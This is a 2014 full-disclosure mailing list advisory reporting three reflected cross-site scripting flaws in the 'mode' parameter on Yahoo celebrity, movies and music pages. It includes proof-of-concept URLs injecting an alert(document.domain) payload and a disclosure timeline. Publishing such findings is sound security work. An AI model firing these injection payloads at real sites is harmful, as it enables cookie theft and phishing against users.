full-disclosure - Yahoo Bug Bounty Program Vulnerability #4 #5 #6 Cross-site Scripting vulnerabilities

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Message-ID: <531AF079.9080105@t-online.de>
Date: Sat, 08 Mar 2014 11:27:05 +0100
From: Stefan Schurtz <sschurtz@...nline.de>
To: full-disclosure@...ts.grok.org.uk
Subject: Yahoo Bug Bounty Program Vulnerability #4 #5 #6
 Cross-site Scripting vulnerabilities


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In Jan ?14 I reported three Cross-site Scripting vulnerabilities to the
Yahoo Bug Bounty Program. And I know, it is really really hard, but ...
again ... no feedback or bounty :)

Advisory:                    Yahoo Bug Bounty Program Vulnerability #4
#5 #6 Cross-site Scripting vulnerabilities
Advisory ID:               SSCHADV2014-YahooBB-004 / YahooBB-005 /
YahooBB-006
Author:                       Stefan Schurtz
Affected Software:    Successfully tested on celebrity.yahoo.com,
movies.yahoo.com, music.yahoo.com
Vendor URL:               http://yahoo.com/
Vendor Status:          Not tested anymore
Bounty:                      nothing
 
==========================
Vulnerability Description
==========================
 
The 'mode'-Paramter on "https://celebrity.yahoo.com/",
"https://movies.yahoo.com/", "https://music.yahoo.com/" is prone to a
Cross-site Scripting vulnerability
 
==========================
PoC-Exploit
==========================
 
http://celebrity.yahoo.com/video/george-clooney-responds-tina-fey-230813957.html?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index
 
http://movies.yahoo.com/photos/star-wars-cast-rumors-1389647299-slideshow/?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index
 
http://music.yahoo.com/videos/?m_id=&m_mode=&instance_id=
mode=multipart"-alert(document.domain)-"&__phase=pre&type=index

==========================
Disclosure Timeline
==========================
 
20-Jan-2014 - vendor informed by contact form (Yahoo Bug Bounty Program)

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://yahoo.com/
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-004.txt
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-005.txt
http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-006.txt
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